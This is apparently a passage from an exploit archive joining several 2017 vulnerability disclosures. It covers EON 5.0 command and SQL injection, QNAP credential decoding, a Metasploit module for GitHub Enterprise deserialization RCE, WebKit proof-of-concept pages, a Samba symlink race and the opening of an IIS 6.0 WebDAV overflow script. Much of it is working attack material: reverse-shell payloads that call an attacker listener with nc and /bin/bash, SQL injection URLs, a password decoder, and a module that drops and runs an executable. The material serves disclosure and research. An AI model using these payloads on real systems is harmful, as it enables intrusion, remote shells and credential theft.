uid=1000(nuxeo) gid=1000(nuxeo)
groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
pwd
/var/lib/nuxeo/server
```

# Vulnerable code

The vulnerable code is located in the
`org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github
link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)),
where the header ``X-File-Name`` is not checked.

# Fix

Nuxeo provided a
[patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892)
for this issue.
A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35).

Please note that vulnerability does not affect Nuxeo versions above 7.3.

# Affected versions

* Nuxeo 6.0 (LTS 2014), released 2014-11-06
* Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15
* Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24
* Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24

# Unaffected versions

* Nuxeo 6.0 HF35, released 2017-01-12
* Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02
* Nuxeo 7.10 (LTS 2015), released 2015-11-09
* Nuxeo 8.10 (LTS 2016), released 2016-12-06

# Credits

Ronan Kervella <r.kervella@sysdream.com>

-- SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ 
* Twitter: @sysdream 
=end
            
# [CVE-2017-6087] EON 5.0 Remote Code Execution

## Description

EyesOfNetwork ("EON") is an OpenSource network monitoring solution.

## Remote Code Execution (authenticated)

The Eonweb code does not correctly filter arguments, allowing
authenticated users to execute arbitrary code.

**CVE ID**: CVE-2017-6087

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-78

**CVSS Base Score**: 7.6

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L


### Proof of Concept 1

On the attacker's host, we start a handler:

```
nc -lvp 1337
```

The `selected_events` parameter is not correctly filtered before it is
used by the `shell_exec()` function.

There, it is possible to inject a payload like in the request below,
where we connect back to our handler:

```
https://eonweb.local/module/monitoring_ged/ged_actions.php?queue=history&action=confirm&global_action=4&selected_events%5B%5D=;nc%2010.0.5.124%201337%20-e%20/bin/bash;
```

#### Vulnerable code

The payload gets injected into the `$event[$key]` and `$ged_command`
variables of the `module/monitoring_ged/ged_functions.php` file, line 373:

```
$ged_command = "-update -type $ged_type_nbr ";
foreach ($array_ged_packets as $key => $value) {
  if($value["type"] == true){
    if($key == "owner"){
      $event[$key] = $owner;
    }
    $ged_command .= "\"".$event[$key]."\" ";
  }
}
$ged_command = trim($ged_command, " ");
shell_exec($path_ged_bin." ".$ged_command);
```

Two other functions in this file are also affected by this problem:

* `delete($selected_events, $queue);`
* `ownDisown($selected_events, $queue, $global_action);`


### Proof of Concept 2

On the attacker's host, we start a handler:

```
nc -lvp 1337
```

The `module` parameter is not correctly filtered before it is used by
the `shell_exec()` function.

Again, we inject our connecting back payload:

```
https://eonweb.local/module/index.php?module=|nc%20192.168.1.14%201337%20-e%20/bin/bash&link=padding
```

#### Vulnerable code

In the `module/index.php` file, line 24, we can see that our payload is
injected into the `exec()` function without any sanitization:

```
# Check optionnal module to load
if(isset($_GET["module"]) && isset($_GET["link"])) {

	$module=exec("rpm -q ".$_GET["module"]." |grep '.eon' |wc -l");

	# Redirect to module page if rpm installed
	if($module!=0) { header('Location: '.$_GET["link"].''); }

}
```


## Timeline (dd/mm/yyyy)

* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 11/10/2016 : Testing the patch revealed that it needed more work.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.

Thank you to EON for the fast response.

## Solution

Update to version 5.1

## Affected versions

* Version <= 5.0

## Credits

* Nicolas SERRA <n.serra@sysdream.com>

-- SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ * 
Twitter: @sysdream 
            
# [CVE-2017-6088] EON 5.0 Multiple SQL Injection

## Description

EyesOfNetwork ("EON") is an OpenSource network monitoring solution.

## SQL injection (authenticated)

The Eonweb code does not correctly filter arguments, allowing
authenticated users to inject arbitrary SQL requests.

**CVE ID**: CVE-2017-6088

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-89

**CVSS Base Score**: 6.0

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L

### Proof of Concept 1 (root privileges)

The following HTTP request allows an attacker (connected as
administrator) to dump the database contents using SQL injections inside
either the `bp_name` or the `display` parameter. These requests are
executed with MySQL root privileges.

```
https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=&display=%27or%271%27=%271

https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=%27or%271%27=%271&display=1
```

#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 114:

```
function list_process($bp,$display,$bdd){
    $sql = "select name from bp where is_define = 1 and name!='".$bp."'
and priority = '" . $display . "'";
    $req = $bdd->query($sql);
    $process = $req->fetchall();

    echo json_encode($process);
}
```

### Proof of Concept 2

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `type` parameter:

```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1%27+AND+(SELECT+sleep(5))+AND+%271%27=%271&owner=&filter=equipment&search=&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```

#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ajax.php` file, line 64:

```
if($_GET["type"] == 0){
  $ged_where = "WHERE pkt_type_id!='0'";
} else {
  $ged_where = "WHERE pkt_type_id='".$_GET["type"]."'";
}
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type $ged_where AND pkt_type_id<'100';");
```

### Proof of Concept 3

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `search` parameter:

```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1&owner=&filter=equipment&search='+AND+(select+sleep(5))+AND+'1'='1&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```


#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 129.

```
if($search != ""){
    $like = "";
    if( substr($search, 0, 1) === '*' ){
        $like .= "%";
    }
    $like .= trim($search, '*');
    if ( substr($search, -1) === '*' ) {
        $like .= "%";
    }

    $where_clause .= " AND $filter LIKE '$like'";
}
```


### Proof of Concept 4

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `equipment` parameter:

```
https://eonweb.local/module/monitoring_ged/ged_actions.php?action=advancedFilterSearch&filter=(select+user_passwd+from+eonweb.users+limit
1)&queue=history
```


#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 493:

```
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type WHERE pkt_type_id!='0' AND
pkt_type_id<'100';");


while($ged_type = mysqli_fetch_assoc($gedsql_result1)){
    $sql = "SELECT DISTINCT $filter FROM
".$ged_type["pkt_type_name"]."_queue_".$queue;

    $results = sqlrequest($database_ged, $sql);
    while($result = mysqli_fetch_array($results)){
        if( !in_array($result[$filter], $datas) && $result[$filter] != "" ){
            array_push($datas, $result[$filter]);
        }
    }
}
```


## Timeline (dd/mm/yyyy)

* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.

Thank you to EON for the fast response.

## Solution

Update to version 5.1.

## Affected versions

* Version <= 5.0

## Credits

* Nicolas SERRA <n.serra@sysdream.com>

-- SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ 
* Twitter: @sysdream 
            
QNAP QTS Domain Privilege Escalation Vulnerability

 Name              Sensitive Data Exposure in QNAP QTS
 Systems Affected  QNAP QTS (NAS) all model and all versions < 4.2.4
 Severity          High 7.9/10
 Impact            CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
 Vendor            http://www.qnap.com/
 Advisory          http://www.ush.it/team/ush/hack-qnap/qnap.txt
 Authors           Pasquale "sid" Fiorillo (sid AT ush DOT it) 
                   Guido "go" Oricchio (g.oricchio AT pcego DOT com)
 Date              20170322

I. BACKGROUND

QNAP Systems, founded in 2004, provides network attached storage (NAS)
and network video recorder (NVR) solutions for home and business use to
the global market.
QNAP also delivers a cloud service, called myQNAPcloud, that allows
users to access and manage the devices from anywhere.
QTS is a QNAP devices proprietary firmware based on Linux.

ISGroup (http://www.isgroup.biz/) is an Italian Information Security 
boutique, we found this 0day issue while supporting Guido Oricchio 
of PCego, a System Integrator, to secure a QNAP product for one of his
customer.

Responsible disclosure with Qnap: we contacted qnap on public security@
contact and we escalate fast to their Security Researcher Myron Su on
PGP emails.

Prior vulnerabilities in QNAP: 
https://www.qnap.com/en/support/con_show.php?op=showone&cid=41

Information to customers of the vulnerability is shown in their bulletin
ID NAS-201703-21 (https://www.qnap.com/en/support/con_show.php?cid=113):
QTS 4.2.4 Build 20170313 includes security fixes for the following
vulnerabilities: Configuration file vulnerability (CVE-2017-5227)
reported by Pasquale Fiorillo of the cyber security company ISGroup
(www.isgroup.biz), a cyber security company, and Guido Oricchio of
PCego (www.pcego.com), a system integrator.

The latest version of the software at the time of writing can be 
obtained from:

https://www.qnap.com/en-us/product_x_down/
https://start.qnap.com/en/index.php
https://www.qnap.com/

II. DESCRIPTION

The vulnerability allows a local QTS admin user, or other low privileged
user, to access configuration file that includes a bad crypted Microsoft
Domain Administrator password if the NAS was joined to a Microsoft 
Active Directory domain.

The affected component is the "uLinux.conf" configuration file, 
created with a world-readable permission used to store a Domain 
Administrator password.

Admin user can access the file using ssh that is enabled by default.
Other users are not allowed to login, so they have to exploit a 
component, such as a web application, to run arbitrary command or 
arbitrary file read.

TLDR: Anyone is able to read uLinux.conf file, world readable by 
default, can escalate to Domain Administrator if a NAS is a domain 
member.

III. ANALYSIS

QNAP QTS stores "uLinux.conf" configuration file in a directory 
accessible by "nobody" and with permission that make them readable by 
"nobody".

If the NAS was joined to an Active Directory, such file contain a Domain
Administrator user and password in an easily decrypt format.

In older versions of QTS the Domain Admin's password was stored in
plaintext.

A) Config file readable by "nobody"

  [~] # ls -l /etc/config/uLinux.conf 
  -rw-r--r--    1 admin    administ      7312 Dec 10 06:39 /etc/config/uLinux.conf

  Our evidence is for QTS 4.2.0 and QTS 4.2.2 running on a TS-451U, 
  TS-469L, and TS-221. Access to the needed file are guaranteed to 
  all the local users, such as httpdusr used to running web sites and 
  web application hosted on the NAS.

  This expose all the information contained in the configuration file at
  risk and this is a violation of the principle of least privilege.

  https://en.wikipedia.org/wiki/Principle_of_least_privilege

B) Weak encrypted password in the configuration file

  The Microsoft Active Directory Admin username and password are stored 
  in the file obfuscated by a simple XOR cypher and base64 encoded.

  In this scenario, a Local File Read vulnerability could lead to full
  domain compromise given the fact that an attacker can re-use such
  credentials to authenticate against a Domain Controller with maximum
  privileges.

  The password field in the uLinux.conf has the following format:

  User = <username>
  Password = <base64>

  eg: 
  User = Administrator
  Password = AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==

  The "<base64>" decoded is:

  sid@zen:~$echo -n "AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==" | base64 -d | hexdump -C
  00000000  03 03 00 00 01 01 06 06  07 07 04 04 23 23 20 20  |............##  |
  00000010  21 21 26 26 27 27 24 24  43                       |!!&&''$$C|
  00000019

  Each byte xored with \x62 is the hex ascii code of the plaintext char.
  Eg: 
    \x03 ^ \x62 = \x61 (a)
    \x00 ^ \x62 = \x61 (b)
    ...
    \x24 ^ \x62 = \x46 (F)
    \x43 ^ \x62 = \x21 (!)
    
  The plaintext password is: aabbccddeeffAABBCCDDEEFF!

IV. EXPLOIT

The following code can be used to decode the password:

#!/usr/bin/php
<?php
$plaintext = str_split(base64_decode($argv[1]));
foreach($plaintext as $chr) {
	echo chr(ord($chr)^0x62);
}
echo "\n";

Eg: sid@zen:~$ ./decode.php AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==
aabbccddeeffAABBCCDDEEFF!

V. VENDOR RESPONSE
Vendor released QTS 4.2.4 Build 20170313 that contains the proper
security patch. At the time of this writing an official patch is
currently available.

VI. CVE INFORMATION

Mitre assigned the CVE-2017-5227 for this vulnerability, internally to
Qnap it's referred as Case NAS-201703-21.

VII. DISCLOSURE TIMELINE

20161212 Bug discovered
20170106 Request for CVE to Mitre
20170106 Disclosure to security@qnap.com
20170107 Escalation to Myron Su, Security Researcher from QNAP (fast!)
20170107 Details disclosure to Myron Su
20170109 Got CVE-CVE-2017-5227 from cve-assign
20170110 Myron Su confirm the vulnerability
20170203 We asks for updates, no release date from vendor
20170215 We extend the disclosure date as 28 Feb will not be met
20170321 QNAP releases the QTS 4.2.4 Build 20170313
20170322 Advisory disclosed to the public

VIII. REFERENCES

[1] Top 10 2013-A6-Sensitive Data Exposure
    https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure

[2] Access Control Cheat Sheet
    https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

[3] https://forum.qnap.com/viewtopic.php?t=68317
    20121213 User reporting that the password was stored in plaintext in
    a world-readable file
    
[4] https://www.qnap.com/en/support/con_show.php?cid=113
    Qnap Security Bullettin NAS-201703-21 

IX. CREDIT

Pasquale "sid" Fiorillo and Guido "go" Oricchio are credited with the 
discovery of this vulnerability.

Pasquale "sid" Fiorillo
web site: http://www.pasqualefiorillo.it/
mail: sid AT ush DOT it

Guido "go" Oricchio
web site: http://www.pcego.com/
mail: g.oricchio AT pcego DOT com

X. LEGAL NOTICES

Copyright (c) 2017 Pasquale "sid" Fiorillo

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
      'Description'    => %q{
        This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
        The first is that the session management uses a hard-coded secret value, which can be
        abused to sign a serialized malicious Ruby object. The second problem is due to the
        use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
        and results in arbitrary remote code execution.

        This exploit was tested against version 2.8.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
          'sinn3r'                       # Porting the PoC to Metasploit
        ],
      'References'     =>
        [
          [ 'EDB', '41616' ],
          [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
          [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Github Enterprise 2.8', { } ]
        ],
      'DefaultOptions' =>
        {
          'SSL'   => true,
          'RPORT' => 8443
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
      ], self.class)
  end

  def secret
    '641dd6454584ddabfed6342cc66281fb'
  end

  def check
    uri = normalize_uri(target_uri.path, 'setup', 'unlock')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => uri,
      'vars_get' =>{
        'redirect_to' => '/'
      }
    })

    unless res
      vprint_error('Connection timed out.')
      return Exploit::CheckCode::Unknown
    end

    unless res.get_cookies.match(/^_gh_manage/)
      vprint_error('No _gh_manage value in cookie found')
      return Exploit::CheckCode::Safe
    end

    cookies = res.get_cookies
    vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
    data = gh_manage_value.split('--').first
    hmac = gh_manage_value.split('--').last.split(';', 2).first
    vprint_status("Data: #{data.gsub(/\n/, '')}")
    vprint_status("Extracted HMAC: #{hmac}")
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
    vprint_status("Expected HMAC: #{expected_hmac}")

    if expected_hmac == hmac
      vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def get_ruby_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end


  def serialize
    # We don't want to run this code within the context of Framework, so we run it as an
    # external process.
    # Brilliant trick from Brent and Adam to overcome the issue.
    ruby_code = %Q|
    module Erubis;class Eruby;end;end
    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

    erubis = Erubis::Eruby.allocate
    erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
    proxy.instance_variable_set :@instance, erubis
    proxy.instance_variable_set :@method, :result
    proxy.instance_variable_set :@var, "@result"

    session =
    {
      'session_id' => '',
      'exploit'    => proxy
    }

    print Marshal.dump(session)
    |

    serialized_output = `ruby -e "#{ruby_code}"`

    serialized_object = [serialized_output].pack('m')
    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)

    return serialized_object, hmac
  end

  def send_serialized_data(dump, hmac)
    uri = normalize_uri(target_uri.path)
    gh_manage_value = CGI.escape("#{dump}--#{hmac}")
    cookie = "_gh_manage=#{gh_manage_value}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => cookie
    })

    if res
      print_status("Server returned: #{res.code}")
    end
  end

  def exploit
    dump, hmac = serialize
    print_status('Serialized Ruby stager')

    print_status('Sending serialized Ruby stager...')
    send_serialized_data(dump, hmac)
  end

end

=begin

Handy information:

To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42

Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:

* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'

The format looks like this:

[ DATA ]--[ Hash ]

Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb

=end
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1033

There is an out-of-bounds read when reading the bound arguments array of a bound function. When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered), and reads out of bounds.

This is likely exploitable, because the read values are treated as JSValues, so this issue can allow type confusion if the attacker controls any of the unallocated values that are read.

This issue is only in WebKit trunk and Safari preview, it hasn't made it to regular Safari releases yet.


A minimal PoC is as follows, and a full PoC is attached.


var ba;

function s(){
	ba = this;
}


function dummy(){
	alert("just a function");
}


Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
-->

<html>
<body>
<script>

var ba;

function s(){
	alert("in s");
	ba = this;
}


function g(){
	alert("in g");
	return 7;
}


function dummy(){
	alert("just a function");
}

alert("start");

try{
Object.defineProperty(Array.prototype, "0", {set : s, get : g});
var f = dummy.bind({}, 1, 2, 3, 4);
alert("ba" + ba);
ba.length = 100000;
f(1, 2, 3);
}catch(e){

	alert(e.message);

}

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036

There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.

A minimal PoC is as follows, and a full PoC is attached. 


var i = new Intl.DateTimeFormat();
var q;

function f(){
	q = f.caller;
	return 10;
}


i.format({valueOf : f});

q.call(0x77777777);
-->

<html>
<body>
<script>

var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));

var i = new Intl.DateTimeFormat();

//print(i);

var q;

function f(){

	//print("in f");
	//print(f.caller);
	q = f.caller;
	return 10;
}

try{
i.format({valueOf : f});
}catch(e){

	//print("problem");

}

//print(q);
q.call(0x77777777);

</script>
</body>
</html>
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039

The Samba server is supposed to only grant access to configured share
directories unless "wide links" are enabled, in which case the server is allowed
to follow symlinks. The default (since CVE-2010-0926) is that wide links are
disabled.

smbd ensures that it isn't following symlinks by calling lstat() on every
path component, as can be seen in strace (in reaction to the request
"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):

root@debian:/home/user# strace -e trace=file -p18954
Process 18954 attached
lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getcwd("/public", 4096)                 = 8
lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
open("a/b/c/d/e/f/g/h/i/j", O_RDONLY)   = 35


This is racy: Any of the path components - either one of the directories or the
file at the end - could be replaced with a symlink by an attacker over a second
connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i
with a symlink  to / immediately before the open() call would cause smbd to open
/j.

To reproduce:

 - Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian
   unstable. I'm running the attacks on a native machine while the server is
   running in a VM on the same machine.)
 - On the server, create a world-readable file "/secret" that contains some
   text. The goal of the attacker is to leak the contents of that file.
 - On the server, create a directory "/public", mode 0777.
 - Create a share named "public", accessible for guests, writable, with path
   "/public".
 - As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in
   attack_commands.patch.
 - Build the patched copy of samba-4.5.2. The built smbclient will be used in
   the following steps.
 - Prepare the server's directory layout remotely and start the rename side of
   the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> ls
     .                                   D        0  Wed Dec 14 23:54:30 2016
     ..                                  D        0  Wed Dec 14 13:02:50 2016

        98853468 blocks of size 1024. 66181136 blocks available
   smb: /> symlink / link
   smb: /> mkdir normal
   smb: /> put /tmp/empty normal/secret # empty file
   putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)
   smb: /> rename_loop link normal foobar

 - Over a second connection, launch the read side of the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> dump foobar/secret

 - At this point, the race can theoretically be hit. However, because the
   renaming client performs operations synchronously, the network latency makes
   it hard to win the race. (It shouldn't be too hard to adapt the SMB client to
   be asynchronous, which would make the attack much more practical.) To make it
   easier to hit the race, log in to the server as root and run "strace" against
   the process that is trying to access foobar/secret all the time without any
   filtering ("strace -p19624"). On my machine, this causes the race to be hit
   every few seconds, and the smbclient that is running the "dump" command
   prints the contents of the file each time the race is won.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41740.zip
            
'''
Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.

Additional Information: the ScStoragePathFromUrl function is called twice
Vulnerability Type: Buffer overflow
Vendor of Product: Microsoft
Affected Product Code Base: Windows Server 2003 R2
Affected Component: ScStoragePathFromUrl
Attack Type: Remote
Impact Code execution: true
Attack Vectors: crafted PROPFIND data

Has vendor confirmed or acknowledged the vulnerability?:true

Discoverer:Zhiniang Peng and Chen Wu.
Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
'''

#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China 
#-----------Email: edwardz@foxmail.com

import socket  

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect(('127.0.0.1',80))  

pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
